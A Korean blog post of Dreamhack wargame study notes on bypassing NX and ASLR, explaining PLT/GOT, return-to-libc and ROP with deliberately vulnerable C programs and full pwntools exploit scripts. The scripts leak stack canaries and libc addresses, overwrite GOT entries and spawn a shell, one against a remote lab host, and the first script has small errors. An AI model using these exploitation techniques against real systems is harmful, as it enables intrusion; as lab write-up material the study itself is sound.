[Dreamhack] Systemhacking - Bypass NX & ASLR

chrmqgozj·2025년 1월 2일

DreamHack

목록 보기
4/39
  1. 개념
    1.1. NX(No-eXecute)
    실행에 사용되는 메모리 영역과 쓰기에 사용되는 메모리 영역을 분리하는 보호 기법

참고: NX = XD(인텔, eXecute Disable), NX(AMD), DEP(윈도우, Data Execution Prevention), XN(ARM, eXecute Never)

1.2. ASLR(Address Space Layout Randomization)
바이너리가 실행될 때마다 스택, 힙, 공유 라이브러리 등을 임의의 주소에 할당하는 보호 기법

cat /proc/sys/kernel/randomize_va_space
  • 위의 명령어로 ASLR 적용 여부 확인 가능
    0: 없음
    1: 스택, 라이브러리, vdso 등
    2: 1의 영역 + brk로 할당한 영역

1.3. 라이브러리
컴퓨터 시스템에서, 프로그램들이 함수나, 변수를 공유해서 사용할 수 있게 함.

1.4. 링크
많은 프로그래밍 언어에서 컴파일의 마지막 단계. 프로그램에서 어떤 라이브러리의 함수를 사용하면 호출된 함수와 실제 라이브러리의 함수가 링크 과정에서 연결됨.

  • 동적링크: 실행 중에 라이브러리의 함수를 호출하면 매핑된 라이브러리에서 호출할 함수의 주소를 찾고, 그 함수를 실행.

  • 정적링크: 바이너리에 정적 라이브러리의 필요한 모든 함수가 포함됨. 라이브러리 참조 없이 스스로 함수 호출하는 것처럼 호출. 탐색 비용은 줄지만, 여러 바이너리에서 라이브러리를 사용하면 복제가 여러 번 이루어지기 때문에 용량 낭비.

1.5. PLT(Procedure Linkage Table) / GOT(Global Offset Table)
라이브러리에서 동적 링크된 심볼의 주소를 찾을 때 사용하는 테이블
PLT를 통해 다른 라이브러리에 있는 프로시저들을 호출해 사용, 이때 PLT는 GOT 호출
GOT에는 프로시저들의 주소가 들어있다.

  • ELF(Executable and Linkable Format)
    유닉스 계열 운영체제의 실행, 오브젝트 파일, 공유 라이브러리, 또는 코어 덤프를 할 수 있게 하는 바이너리 파일 (실행 파일)

  • runtime resolve
    바이너리가 실행되면 ASLR에 의해 라이브러리가 임의의 주소에 매핑됨. 이 상태에서 라이브러리 함수를 호출하게 되면 라이브러리에서 심볼들을 탐색하고 해당 함수의 정의를 발견(함수의 이름 바탕)하면 그 주소로 실행 흐름을 옮기게 됨.
    (라이브러리 매핑 -> 함수의 이름 바탕으로 라이브러리에서 심볼 탐색 -> 해당 함수의 정의 발견하면 그 주소로 실행 흐름 이동)

반복 호출되는 함수의 정의를 매번 탐색하는 건 비효율적. 그래서 ELF는 GOT에 resolve된 함수의 주소를 저장. 다시 함수를 호출하면 저장된 주소를 꺼내서 사용.

문제는 PLT에서 GOT를 참조할 때 GOT 값을 검증하지 않음. 따라서 GOT 엔트리에 저장된 값을 공격자가 임의로 변경할 수 있으면 공격자가 원하는 코드가 실행되게 할 수 있음.
이러한 공격 방식을 GOT OVERWRITE라고 부름

  1. Return To Library
    NX로 인해 얼마 남지 않은 실행 영역, 그 중에서도 Library를 활용하는 공격 방식을 택함

2.1. rtl.c

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}
  • const char* binsh = "/bin/sh";: "/bin/sh"를 코드 섹션에 추가하기 위함
  • system("echo 'system@plt'");: ELF가 PLT에 실행하는 함수만 추가하므로, PLT에 system 함수가 추가되기 위함
    ASLR이 걸려 있어도 PIE가 적용되어 있지 않다면 PLT의 주소는 고정. 따라서 PLT 엔트리를 실행함으로써 함수 실행 가능.

2.2. 공격 방법
buf에 쉘 코드를 저장한다 해도 실행 불가. 대신에 system("/bin/sh")를 실행하면 쉘 획득 가능.

system("/bin/sh")
rdi = "/bin/sh"의 주소인 상태에서 system 실행 시킨 것과 동일
  • 리턴 가젯
    ret 명령어로 끝나는 어셈블리 코드 조각

일반적으로 ROPgadget 활용

ROPgadget --binary ./rtl --re "pop rdi"

-> 필요한 가젯 찾을 수 있음

2.3. 설계

canary: rbp-0x8
buf: rbp-0x40

참고: system 함수로 rip가 이동할 때, 스택은 반드시 0x10 단위로 정렬되어야 함. (system 함수 내부에 있는 movaps 명령어 때문에, 스택이 0x10 단위로 정렬되어 있지 않으면 Segmentation Fault 발생)

2.4. exploit.py

from pwn import *

p = process("./rtl")
e = ELF("./rtl")

buf = b"A" * 57
p.sendafter(b"Buf: ", buf)
p.recvuntil(payload)

canary = u64(b"\x00" + p.recvn(7))

system = e.plt['system']
binsh = 0x400874
poprdi = 0x0000000000400853
ret = 0x0000000000400285

payload = b"A" * 56 + p64(canary) + b"B" * 8
payload += p64(ret)
payload += p64(poprdi)
payload += p64(binsh)
payload += p64(system)

p.sendafter(b"Buf: ", payload)

p.interactive()
  1. rop
    ROP(Return Oriented Programming): 리턴 가젯을 사용하여 복잡한 실행 흐름을 구현하는 기법

3.1. rop.c

// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);

  return 0;
}

이전 코드와 동일하지만 차이가 있다면, "/bin/sh"와 system 함수가 코드 내에 정의되어 있지 않다. 그리고 ASLR이 적용된 채로 컴파일 되었다.

3.2. 설계
3.2.1. system
system 함수, read, puts, printf는 같은 라이브러리(libc.so.6)에 정의되어 있다. 바이너리가 system 함수를 호출하지 않아서 GOT에 없지만, 나머지 함수들의 주소는 GOT에 등록되어 있다. 또한 libc 내에서 두 데이터 사이의 거리는 일정하기 때문에 하나의 함수의 주소와 거리를 안다면 다른 함수의 주소도 알 수 있다.

readelf -s libc.so.6 | grep " read@"
readelf -s libc.so.6 | grep " system@"

readelf 명령어로 함수의 오프셋을 구할 수 있다.

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
read_system = libc.symbols["read"]-libc.symbols["system"]

3.2.2. "/bin/sh"
"/bin/sh" 또한 libc에 포함되어 있고 같은 방법으로 구할 수 있다.

search /bin/sh

pwndbg에서 위 명령어로 구할 수도 있다.

3.2.3. GOT Overwrite
system 함수의 주소를 알았을 때는 이미 2번째 payload가 전송된 이후이기 때문에 main 함수로 한 번 더 돌아가서 다시 BOF를 일으켜야 한다. 이를 ret2main 공격 패턴이라고 부른다.

3.2.4. 카나리

buf: rbp - 0x40
canary: rbp - 0x8

pop rdi: 0x0000000000400853

pop rsi; pop r15: 0x0000000000400851

ret: 0x0000000000400596

3.3. exploit.py

from pwn import *

#p = process("./rop")
p = process('./rop', env= {"LD_PRELOAD" : "./libc.so.6"})
e = ELF("./rop")
libc = ELF('./libc.so.6')

buf = b"A" * 57

p.sendafter("Buf: ", buf)
p.recvuntil(buf)
canary = u64(b"\x00" + p.recvn(7))

payload = b"A" * 0x38 + p64(canary) + b"B" * 0x8

write_plt = e.plt['write']
read_plt = e.plt['read']
read_got = e.got['read']

pop_rdi = 0x0000000000400853
pop_rsi = 0x0000000000400851
ret = 0x0000000000400596

#1 write
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi) + p64(read_got) + p64(0)
payload += p64(write_plt)

#2 read
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(read_got) + p64(0)
payload += p64(read_plt)

#3 read
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)

p.sendafter("Buf: ", payload)

read = u64(p.recvn(6) + b"\x00"*2)
system = read-libc.symbols['read'] + libc.symbols['system']

p.send(p64(system) + b'/bin/sh\x00')

p.interactive()
  1. basic_rop_x64
    4.1. basic_rop_x64.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

4.2. 설계

buf: rbp-0x40

그 외 가젯은 ASLR의 영향을 받기 때문에 실행 중에 계산해야 한다.
pwntools의 ROP-find_gadget 함수 사용.

이번 바이너리에서 ret2main 사용.

4.3. exploit.py

from pwn import *

#p = process("./basic_rop_x64")
p = process('./basic_rop_x64', env= {"LD_PRELOAD" : "./libc.so.6"})
e = ELF("./basic_rop_x64")
libc = ELF('./libc.so.6')
r = ROP(e)

write_plt = e.plt['write']
write_got = e.got['write']
read_plt = e.plt['read']
read_got = e.got['read']
main = e.symbols['main']

read_offset = libc.symbols["read"]
system_offset = libc.symbols["system"]
sh = list(libc.search(b"/bin/sh"))[0]

pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = r.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]

payload = b"A" * 0x40 + b"B" * 0x8

payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi) + p64(read_got) + p64(8)
payload += p64(write_plt)

payload += p64(main)

p.send(payload)

p.recvuntil(b"A"*0x40)
read = u64(p.recvn(6) + b"\x00"*2)
lb = read-read_offset
system = lb+system_offset
binsh = lb+sh

payload = b"A" * 0x48
payload += p64(pop_rdi) + p64(binsh)
payload += p64(system)

p.send(payload)

p.interactive()
  1. basic_rop_x86
    5.1. basic_rop_x86.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

기본적인 구조는 x64랑 같다.

5.2. 설계

buf: ebp-0x44

ROPgadget --binary ./basic_rop_x86 --re "pop edi"
ROPgadget --binary=./basic_rop_x86 | grep ": ret"

5.3. exploit.py

from pwn import *

p = remote("host1.dreamhack.games", 10440)
#p = process("./basic_rop_x86")
#p = process('./basic_rop_x86', env= {"LD_PRELOAD" : "./libc.so.6"})
e = ELF("./basic_rop_x86")
r = ROP("./basic_rop_x86")
libc = ELF('./libc.so.6')

pop3 = r.find_gadget(['pop esi', 'pop edi', 'pop ebp', 'ret'])[0]
pop1 = r.find_gadget(['pop ebx', 'ret'])[0]

ret = r.find_gadget(['ret'])[0]

write_plt = e.plt['write']
read_plt = e.plt['read']
read_got = e.got['read']

read_offset = libc.symbols['read']
system_offset = libc.symbols['system']

payload = b"A" * 0x48

#1 write
payload += p32(write_plt)
payload += p32(pop3)
payload += p32(1) + p32(read_got) + p32(4)

#2 read
payload += p32(read_plt)
payload += p32(pop3)
payload += p32(0) + p32(read_got) + p32(12)

#3 read
payload += p32(read_plt)
payload += p32(pop1)
payload += p32(read_got + 0x4)


p.send(payload)
p.recvuntil(b"A" * 0x40)

read = u32(p.recvn(4))

system = read-read_offset + system_offset

p.send(p32(system) + b'/bin/sh\x00')

p.interactive()

0개의 댓글